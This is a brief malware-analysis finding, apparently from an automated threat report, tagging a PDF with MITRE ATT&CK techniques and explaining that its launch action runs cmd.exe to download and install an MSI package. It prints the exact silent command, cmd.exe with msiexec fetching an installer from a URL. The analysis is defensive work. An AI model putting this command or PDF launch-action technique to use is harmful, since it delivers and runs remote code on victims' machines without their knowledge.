MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The PDF file contains a launch action that executes cmd.exe with parameters to download and install an MSI package from a provided URL. This indicates a delivery mechanism for potentially malicious software, disguised as a legitimate installer. The command executed is 'cmd.exe /Q /C start msiexec /i http://ovh.dl.sourceforge.net/project/axcrypt/AxCrypt%20Beta/1.7/AxCrypt-1.7.2067.0-Win32-en-US-Beta.msi'.
